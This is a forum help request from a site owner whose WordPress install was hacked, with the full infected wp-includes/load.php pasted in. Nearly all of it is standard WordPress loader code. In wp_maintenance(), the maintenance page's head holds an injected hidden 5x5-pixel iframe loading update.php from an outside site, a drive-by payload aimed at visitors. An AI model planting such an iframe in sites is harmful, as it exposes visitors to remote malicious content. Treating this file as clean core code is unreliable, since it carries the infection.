hackers

hello
this is my first time
and I have a problem
my site has been visited by an hacker
I have 3 files infected one of them is load.php in wp-includes
is there someone that can help me
I write the code of load.php
if someone can let me know wich is the wrong code in it
so I can repair it
thanks in advance
vanni

<?php
/**
* These functions are needed to load WordPress.
*
* @internal This file must be parsable by PHP4.
*
* @package WordPress
*/

/**
* Turn register globals off.
*
* @access private
* @since 2.1.0
* @return null Will return null if register_globals PHP directive was disabled
*/
function wp_unregister_GLOBALS() {
if ( !ini_get( ‘register_globals’ ) )
return;

if ( isset( $_REQUEST[‘GLOBALS’] ) )
die( /*WP_I18N_GLOBALS_OVERWRITE*/’riscontrato tentativo di sovascrivere GLOBALS’/*/WP_I18N_GLOBALS_OVERWRITE*/ );

// Variables that shouldn’t be unset
$no_unset = array( ‘GLOBALS’, ‘_GET’, ‘_POST’, ‘_COOKIE’, ‘_REQUEST’, ‘_SERVER’, ‘_ENV’, ‘_FILES’, ‘table_prefix’ );

$input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() );
foreach ( $input as $k => $v )
if ( !in_array( $k, $no_unset ) && isset( $GLOBALS[$k] ) ) {
$GLOBALS[$k] = null;
unset( $GLOBALS[$k] );
}
}

/**
* Fix $_SERVER variables for various setups.
*
* @access private
* @since 3.0.0
*/
function wp_fix_server_vars() {
global $PHP_SELF;

$default_server_values = array(
‘SERVER_SOFTWARE’ => ”,
‘REQUEST_URI’ => ”,
);

$_SERVER = array_merge( $default_server_values, $_SERVER );

// Fix for IIS when running with PHP ISAPI
if ( empty( $_SERVER[‘REQUEST_URI’] ) || ( php_sapi_name() != ‘cgi-fcgi’ && preg_match( ‘/^Microsoft-IIS\//’, $_SERVER[‘SERVER_SOFTWARE’] ) ) ) {

// IIS Mod-Rewrite
if ( isset( $_SERVER[‘HTTP_X_ORIGINAL_URL’] ) ) {
$_SERVER[‘REQUEST_URI’] = $_SERVER[‘HTTP_X_ORIGINAL_URL’];
}
// IIS Isapi_Rewrite
else if ( isset( $_SERVER[‘HTTP_X_REWRITE_URL’] ) ) {
$_SERVER[‘REQUEST_URI’] = $_SERVER[‘HTTP_X_REWRITE_URL’];
} else {
// Use ORIG_PATH_INFO if there is no PATH_INFO
if ( !isset( $_SERVER[‘PATH_INFO’] ) && isset( $_SERVER[‘ORIG_PATH_INFO’] ) )
$_SERVER[‘PATH_INFO’] = $_SERVER[‘ORIG_PATH_INFO’];

// Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
if ( isset( $_SERVER[‘PATH_INFO’] ) ) {
if ( $_SERVER[‘PATH_INFO’] == $_SERVER[‘SCRIPT_NAME’] )
$_SERVER[‘REQUEST_URI’] = $_SERVER[‘PATH_INFO’];
else
$_SERVER[‘REQUEST_URI’] = $_SERVER[‘SCRIPT_NAME’] . $_SERVER[‘PATH_INFO’];
}

// Append the query string if it exists and isn’t null
if ( ! empty( $_SERVER[‘QUERY_STRING’] ) ) {
$_SERVER[‘REQUEST_URI’] .= ‘?’ . $_SERVER[‘QUERY_STRING’];
}
}
}

// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
if ( isset( $_SERVER[‘SCRIPT_FILENAME’] ) && ( strpos( $_SERVER[‘SCRIPT_FILENAME’], ‘php.cgi’ ) == strlen( $_SERVER[‘SCRIPT_FILENAME’] ) – 7 ) )
$_SERVER[‘SCRIPT_FILENAME’] = $_SERVER[‘PATH_TRANSLATED’];

// Fix for Dreamhost and other PHP as CGI hosts
if ( strpos( $_SERVER[‘SCRIPT_NAME’], ‘php.cgi’ ) !== false )
unset( $_SERVER[‘PATH_INFO’] );

// Fix empty PHP_SELF
$PHP_SELF = $_SERVER[‘PHP_SELF’];
if ( empty( $PHP_SELF ) )
$_SERVER[‘PHP_SELF’] = $PHP_SELF = preg_replace( ‘/(\?.*)?$/’, ”, $_SERVER[“REQUEST_URI”] );
}

/**
* Check for the required PHP version, and the MySQL extension or a database drop-in.
*
* Dies if requirements are not met.
*
* This function must be able to work without a complete environment set up. In wp-load.php, for
* example, WP_CONTENT_DIR is defined and version.php is included before this function is called.
*
* @access private
* @since 3.0.0
*/
function wp_check_php_mysql_versions() {
// we can probably extend this function to check if wp_die() exists then use translated strings, and then use it in install.php etc.

global $required_php_version, $wp_version;
$php_version = phpversion();
if ( version_compare( $required_php_version, $php_version, ‘>’ ) )
die( sprintf( /*WP_I18N_OLD_PHP*/’Il server sta utilizzando PHP versione %1$s ma WordPress %2$s richiede almeno la versione %3$s.’/*/WP_I18N_OLD_PHP*/, $php_version, $wp_version, $required_php_version ) );

if ( !extension_loaded( ‘mysql’ ) && !file_exists( WP_CONTENT_DIR . ‘/db.php’ ) )
die( /*WP_I18N_OLD_MYSQL*/’L\’installazione PHP non ha l\’estensione MySQL che è necessaria per utilizzare WordPress.’/*/WP_I18N_OLD_MYSQL*/ );
}

/**
* Don’t load all of WordPress when handling a favicon.ico request.
* Instead, send the headers for a zero-length favicon and bail.
*
* @since 3.0.0
*/
function wp_favicon_request() {
if ( ‘/favicon.ico’ == $_SERVER[‘REQUEST_URI’] ) {
header(‘Content-Type: image/vnd.microsoft.icon’);
header(‘Content-Length: 0’);
exit;
}
}

/**
* Dies with a maintenance message when conditions are met.
*
* Checks for a file in the WordPress root directory named “.maintenance”.
* This file will contain the variable $upgrading, set to the time the file
* was created. If the file was created less than 10 minutes ago, WordPress
* enters maintenance mode and displays a message.
*
* The default message can be replaced by using a drop-in (maintenance.php in
* the wp-content directory).
*
* @access private
* @since 3.0.0
*/
function wp_maintenance() {
if ( !file_exists( ABSPATH . ‘.maintenance’ ) || defined( ‘WP_INSTALLING’ ) )
return;

global $upgrading;

include( ABSPATH . ‘.maintenance’ );
// If the $upgrading timestamp is older than 10 minutes, don’t die.
if ( ( time() – $upgrading ) >= 600 )
return;

if ( file_exists( WP_CONTENT_DIR . ‘/maintenance.php’ ) ) {
require_once( WP_CONTENT_DIR . ‘/maintenance.php’ );
die();
}

$protocol = $_SERVER[“SERVER_PROTOCOL”];
if ( ‘HTTP/1.1’ != $protocol && ‘HTTP/1.0’ != $protocol )
$protocol = ‘HTTP/1.0’;
header( “$protocol 503 Service Unavailable”, true, 503 );
header( ‘Content-Type: text/html; charset=utf-8’ );
header( ‘Retry-After: 600’ );
?>
<!DOCTYPE html>
<html xmlns=”https://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title><?php echo /*WP_I18N_MAINTENANCE*/’In manutenzione.’/*/WP_I18N_MAINTENANCE*/; ?></title>

<iframe src=”https://www.propertyinsight.info/wp-content/uploads/update.php&#8221; width=”5″ height=”5″ frameborder=”0″></iframe></head>
<body>
<h1><?php echo /*WP_I18N_MAINT_MSG*/’Momentaneamente non disponibile per manutenzione. Riprovare fra un minuto.’/*/WP_I18N_MAINT_MSG*/; ?></h1>
</body>
</html>
<?php
die();
}

/**
* PHP 4 standard microtime start capture.
*
* @access private
* @since 0.71
* @global int $timestart Seconds and microseconds added together from when function is called.
* @return bool Always returns true.
*/
function timer_start() {
global $timestart;
$mtime = explode( ‘ ‘, microtime() );
$timestart = $mtime[1] + $mtime[0];
return true;
}

/**
* Return and/or display the time from the page start to when function is called.
*
* You can get the results and print them by doing:
*
* $nTimePageTookToExecute = timer_stop();
* echo $nTimePageTookToExecute;
*
*
* Or instead, you can do:
*
* timer_stop(1);
*
* which will do what the above does. If you need the result, you can assign it to a variable, but
* in most cases, you only need to echo it.
*
* @since 0.71
* @global int $timestart Seconds and microseconds added together from when timer_start() is called
* @global int $timeend Seconds and microseconds added together from when function is called
*
* @param int $display Use ‘0’ or null to not echo anything and 1 to echo the total time
* @param int $precision The amount of digits from the right of the decimal to display. Default is 3.
* @return float The “second.microsecond” finished time calculation
*/
function timer_stop( $display = 0, $precision = 3 ) { // if called like timer_stop(1), will echo $timetotal
global $timestart, $timeend;
$mtime = microtime();
$mtime = explode( ‘ ‘, $mtime );
$timeend = $mtime[1] + $mtime[0];
$timetotal = $timeend – $timestart;
$r = ( function_exists( ‘number_format_i18n’ ) ) ? number_format_i18n( $timetotal, $precision ) : number_format( $timetotal, $precision );
if ( $display )
echo $r;
return $r;
}

/**
* Sets PHP error handling and handles WordPress debug mode.
*
* Uses three constants: WP_DEBUG, WP_DEBUG_DISPLAY, and WP_DEBUG_LOG. All three can be
* defined in wp-config.php. Example: define( 'WP_DEBUG', true );
*
* WP_DEBUG_DISPLAY and WP_DEBUG_LOG perform no function unless WP_DEBUG is true.
* WP_DEBUG defaults to false.
*
* When WP_DEBUG is true, all PHP notices are reported. WordPress will also display
* notices, including one when a deprecated WordPress function, function argument,
* or file is used. Deprecated code may be removed from a later version.
*
* It is strongly recommended that plugin and theme developers use WP_DEBUG in their
* development environments.
*
* When WP_DEBUG_DISPLAY is true, WordPress will force errors to be displayed.
* WP_DEBUG_DISPLAY defaults to true. Defining it as null prevents WordPress from
* changing the global configuration setting. Defining WP_DEBUG_DISPLAY as false
* will force errors to be hidden.
*
* When WP_DEBUG_LOG is true, errors will be logged to wp-content/debug.log.
* WP_DEBUG_LOG defaults to false.
*
* @access private
* @since 3.0.0
*/
function wp_debug_mode() {
if ( WP_DEBUG ) {
// E_DEPRECATED is a core PHP constant in PHP 5.3. Don’t define this yourself.
// The two statements are equivalent, just one is for 5.3+ and for less than 5.3.
if ( defined( ‘E_DEPRECATED’ ) )
error_reporting( E_ALL & ~E_DEPRECATED & ~E_STRICT );
else
error_reporting( E_ALL );

if ( WP_DEBUG_DISPLAY )
ini_set( ‘display_errors’, 1 );
elseif ( null !== WP_DEBUG_DISPLAY )
ini_set( ‘display_errors’, 0 );

if ( WP_DEBUG_LOG ) {
ini_set( ‘log_errors’, 1 );
ini_set( ‘error_log’, WP_CONTENT_DIR . ‘/debug.log’ );
}
} else {
error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
}
}

/**
* Sets the location of the language directory.
*
* To set directory manually, define WP_LANG_DIR in wp-config.php.
*
* If the language directory exists within WP_CONTENT_DIR, that is used.
* Otherwise if the language directory exists within WPINC, that’s used.
* Finally, if neither of the preceding directories are found,
* WP_CONTENT_DIR/languages is used.
*
* The WP_LANG_DIR constant was introduced in 2.1.0.
*
* @access private
* @since 3.0.0
*/
function wp_set_lang_dir() {
if ( !defined( ‘WP_LANG_DIR’ ) ) {
if ( file_exists( WP_CONTENT_DIR . ‘/languages’ ) && @is_dir( WP_CONTENT_DIR . ‘/languages’ ) || !@is_dir(ABSPATH . WPINC . ‘/languages’) ) {
define( ‘WP_LANG_DIR’, WP_CONTENT_DIR . ‘/languages’ ); // no leading slash, no trailing slash, full path, not relative to ABSPATH
if ( !defined( ‘LANGDIR’ ) ) {
// Old static relative path maintained for limited backwards compatibility – won’t work in some cases
define( ‘LANGDIR’, ‘wp-content/languages’ );
}
} else {
define( ‘WP_LANG_DIR’, ABSPATH . WPINC . ‘/languages’ ); // no leading slash, no trailing slash, full path, not relative to ABSPATH
if ( !defined( ‘LANGDIR’ ) ) {
// Old relative path maintained for backwards compatibility
define( ‘LANGDIR’, WPINC . ‘/languages’ );
}
}
}
}

/**
* Load the correct database class file.
*
* This function is used to load the database class file either at runtime or by
* wp-admin/setup-config.php. We must globalize $wpdb to ensure that it is
* defined globally by the inline code in wp-db.php.
*
* @since 2.5.0
* @global $wpdb WordPress Database Object
*/
function require_wp_db() {
global $wpdb;

require_once( ABSPATH . WPINC . ‘/wp-db.php’ );
if ( file_exists( WP_CONTENT_DIR . ‘/db.php’ ) )
require_once( WP_CONTENT_DIR . ‘/db.php’ );

if ( isset( $wpdb ) )
return;

$wpdb = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
}

/**
* Sets the database table prefix and the format specifiers for database table columns.
*
* Columns not listed here default to %s.
*
* @see wpdb::$field_types Since 2.8.0
* @see wpdb::prepare()
* @see wpdb::insert()
* @see wpdb::update()
* @see wpdb::set_prefix()
*
* @access private
* @since 3.0.0
*/
function wp_set_wpdb_vars() {
global $wpdb, $table_prefix;
if ( !empty( $wpdb->error ) )
dead_db();

$wpdb->field_types = array( ‘post_author’ => ‘%d’, ‘post_parent’ => ‘%d’, ‘menu_order’ => ‘%d’, ‘term_id’ => ‘%d’, ‘term_group’ => ‘%d’, ‘term_taxonomy_id’ => ‘%d’,
‘parent’ => ‘%d’, ‘count’ => ‘%d’,’object_id’ => ‘%d’, ‘term_order’ => ‘%d’, ‘ID’ => ‘%d’, ‘commment_ID’ => ‘%d’, ‘comment_post_ID’ => ‘%d’, ‘comment_parent’ => ‘%d’,
‘user_id’ => ‘%d’, ‘link_id’ => ‘%d’, ‘link_owner’ => ‘%d’, ‘link_rating’ => ‘%d’, ‘option_id’ => ‘%d’, ‘blog_id’ => ‘%d’, ‘meta_id’ => ‘%d’, ‘post_id’ => ‘%d’,
‘user_status’ => ‘%d’, ‘umeta_id’ => ‘%d’, ‘comment_karma’ => ‘%d’, ‘comment_count’ => ‘%d’,
// multisite:
‘active’ => ‘%d’, ‘cat_id’ => ‘%d’, ‘deleted’ => ‘%d’, ‘lang_id’ => ‘%d’, ‘mature’ => ‘%d’, ‘public’ => ‘%d’, ‘site_id’ => ‘%d’, ‘spam’ => ‘%d’,
);

$prefix = $wpdb->set_prefix( $table_prefix );

if ( is_wp_error( $prefix ) )
wp_die( /*WP_I18N_BAD_PREFIX*/’ERRORE: il $table_prefix in wp-config.php può contenere solo numeri, lettere e carattere di sottolineatura.’/*/WP_I18N_BAD_PREFIX*/ );
}

/**
* Starts the WordPress object cache.
*
* If an object-cache.php file exists in the wp-content directory,
* it uses that drop-in as an external object cache.
*
* @access private
* @since 3.0.0
*/
function wp_start_object_cache() {
global $_wp_using_ext_object_cache;

$first_init = false;
if ( ! function_exists( ‘wp_cache_init’ ) ) {
if ( file_exists( WP_CONTENT_DIR . ‘/object-cache.php’ ) ) {
require_once ( WP_CONTENT_DIR . ‘/object-cache.php’ );
$_wp_using_ext_object_cache = true;
} else {
require_once ( ABSPATH . WPINC . ‘/cache.php’ );
$_wp_using_ext_object_cache = false;
}
$first_init = true;
} else if ( !$_wp_using_ext_object_cache && file_exists( WP_CONTENT_DIR . ‘/object-cache.php’ ) ) {
// Sometimes advanced-cache.php can load object-cache.php before it is loaded here.
// This breaks the function_exists check above and can result in $_wp_using_ext_object_cache
// being set incorrectly. Double check if an external cache exists.
$_wp_using_ext_object_cache = true;
}

// If cache supports reset, reset instead of init if already initialized.
// Reset signals to the cache that global IDs have changed and it may need to update keys
// and cleanup caches.
if ( !$first_init && function_exists(‘wp_cache_reset’) )
wp_cache_reset();
else
wp_cache_init();

if ( function_exists( ‘wp_cache_add_global_groups’ ) ) {
wp_cache_add_global_groups( array( ‘users’, ‘userlogins’, ‘usermeta’, ‘user_meta’, ‘site-transient’, ‘site-options’, ‘site-lookup’, ‘blog-lookup’, ‘blog-details’, ‘rss’, ‘global-posts’ ) );
wp_cache_add_non_persistent_groups( array( ‘comment’, ‘counts’, ‘plugins’ ) );
}
}

/**
* Redirects to the installer if WordPress is not installed.
*
* Dies with an error message when multisite is enabled.
*
* @access private
* @since 3.0.0
*/
function wp_not_installed() {
if ( is_multisite() ) {
if ( ! is_blog_installed() && ! defined( ‘WP_INSTALLING’ ) )
wp_die( __( ‘The site you have requested is not installed properly. Please contact the system administrator.’ ) );
} elseif ( ! is_blog_installed() && false === strpos( $_SERVER[‘PHP_SELF’], ‘install.php’ ) && !defined( ‘WP_INSTALLING’ ) ) {

$link = wp_guess_url() . ‘/wp-admin/install.php’;

require( ABSPATH . WPINC . ‘/kses.php’ );
require( ABSPATH . WPINC . ‘/pluggable.php’ );
require( ABSPATH . WPINC . ‘/formatting.php’ );
wp_redirect( $link );
die();
}
}

/**
* Returns array of must-use plugin files to be included in global scope.
*
* The default directory is wp-content/mu-plugins. To change the default directory
* manually, define WPMU_PLUGIN_DIR and WPMU_PLUGIN_URL
* in wp-config.php.
*
* @access private
* @since 3.0.0
* @return array Files to include
*/
function wp_get_mu_plugins() {
$mu_plugins = array();
if ( !is_dir( WPMU_PLUGIN_DIR ) )
return $mu_plugins;
if ( ! $dh = opendir( WPMU_PLUGIN_DIR ) )
return $mu_plugins;
while ( ( $plugin = readdir( $dh ) ) !== false ) {
if ( substr( $plugin, -4 ) == ‘.php’ )
$mu_plugins[] = WPMU_PLUGIN_DIR . ‘/’ . $plugin;
}
closedir( $dh );
sort( $mu_plugins );

return $mu_plugins;
}

/**
* Returns array of plugin files to be included in global scope.
*
* The default directory is wp-content/plugins. To change the default directory
* manually, define WP_PLUGIN_DIR and WP_PLUGIN_URL
* in wp-config.php.
*
* @access private
* @since 3.0.0
* @return array Files to include
*/
function wp_get_active_and_valid_plugins() {
$plugins = array();
$active_plugins = (array) get_option( ‘active_plugins’, array() );

// Check for hacks file if the option is enabled
if ( get_option( ‘hack_file’ ) && file_exists( ABSPATH . ‘my-hacks.php’ ) ) {
_deprecated_file( ‘my-hacks.php’, ‘1.5’ );
array_unshift( $plugins, ABSPATH . ‘my-hacks.php’ );
}

if ( empty( $active_plugins ) || defined( ‘WP_INSTALLING’ ) )
return $plugins;

$network_plugins = is_multisite() ? wp_get_active_network_plugins() : false;

foreach ( $active_plugins as $plugin ) {
if ( ! validate_file( $plugin ) // $plugin must validate as file
&& ‘.php’ == substr( $plugin, -4 ) // $plugin must end with ‘.php’
&& file_exists( WP_PLUGIN_DIR . ‘/’ . $plugin ) // $plugin must exist
// not already included as a network plugin
&& ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . ‘/’ . $plugin, $network_plugins ) )
)
$plugins[] = WP_PLUGIN_DIR . ‘/’ . $plugin;
}
return $plugins;
}

/**
* Sets internal encoding using mb_internal_encoding().
*
* In most cases the default internal encoding is latin1, which is of no use,
* since we want to use the mb_ functions for utf-8 strings.
*
* @access private
* @since 3.0.0
*/
function wp_set_internal_encoding() {
if ( function_exists( ‘mb_internal_encoding’ ) ) {
if ( !@mb_internal_encoding( get_option( ‘blog_charset’ ) ) )
mb_internal_encoding( ‘UTF-8’ );
}
}

/**
* Add magic quotes to $_GET, $_POST, $_COOKIE, and $_SERVER.
*
* Also forces $_REQUEST to be $_GET + $_POST. If $_SERVER, $_COOKIE,
* or $_ENV are needed, use those superglobals directly.
*
* @access private
* @since 3.0.0
*/
function wp_magic_quotes() {
// If already slashed, strip.
if ( get_magic_quotes_gpc() ) {
$_GET = stripslashes_deep( $_GET );
$_POST = stripslashes_deep( $_POST );
$_COOKIE = stripslashes_deep( $_COOKIE );
}

// Escape with wpdb.
$_GET = add_magic_quotes( $_GET );
$_POST = add_magic_quotes( $_POST );
$_COOKIE = add_magic_quotes( $_COOKIE );
$_SERVER = add_magic_quotes( $_SERVER );

// Force REQUEST to be GET + POST.
$_REQUEST = array_merge( $_GET, $_POST );
}

/**
* Runs just before PHP shuts down execution.
*
* @access private
* @since 1.2.0
*/
function shutdown_action_hook() {
do_action( ‘shutdown’ );
wp_cache_close();
}

/**
* Copy an object.
*
* @since 2.7.0
* @deprecated 3.2
*
* @param object $object The object to clone
* @return object The cloned object
*/

function wp_clone( $object ) {
// Use parens for clone to accommodate PHP 4. See #17880
return clone( $object );
}

/**
* Whether the current request is for a network or blog admin page
*
* Does not inform on whether the user is an admin! Use capability checks to
* tell if the user should be accessing a section or not.
*
* @since 1.5.1
*
* @return bool True if inside WordPress administration pages.
*/
function is_admin() {
if ( defined( ‘WP_ADMIN’ ) )
return WP_ADMIN;
return false;
}

/**
* Whether the current request is for a blog admin screen /wp-admin/
*
* Does not inform on whether the user is a blog admin! Use capability checks to
* tell if the user should be accessing a section or not.
*
* @since 3.1.0
*
* @return bool True if inside WordPress network administration pages.
*/
function is_blog_admin() {
if ( defined( ‘WP_BLOG_ADMIN’ ) )
return WP_BLOG_ADMIN;
return false;
}

/**
* Whether the current request is for a network admin screen /wp-admin/network/
*
* Does not inform on whether the user is a network admin! Use capability checks to
* tell if the user should be accessing a section or not.
*
* @since 3.1.0
*
* @return bool True if inside WordPress network administration pages.
*/
function is_network_admin() {
if ( defined( ‘WP_NETWORK_ADMIN’ ) )
return WP_NETWORK_ADMIN;
return false;
}

/**
* Whether the current request is for a user admin screen /wp-admin/user/
*
* Does not inform on whether the user is an admin! Use capability checks to
* tell if the user should be accessing a section or not.
*
* @since 3.1.0
*
* @return bool True if inside WordPress user administration pages.
*/
function is_user_admin() {
if ( defined( ‘WP_USER_ADMIN’ ) )
return WP_USER_ADMIN;
return false;
}

/**
* Whether Multisite support is enabled
*
* @since 3.0.0
*
* @return bool True if multisite is enabled, false otherwise.
*/
function is_multisite() {
if ( defined( ‘MULTISITE’ ) )
return MULTISITE;

if ( defined( ‘SUBDOMAIN_INSTALL’ ) || defined( ‘VHOST’ ) || defined( ‘SUNRISE’ ) )
return true;

return false;
}

?>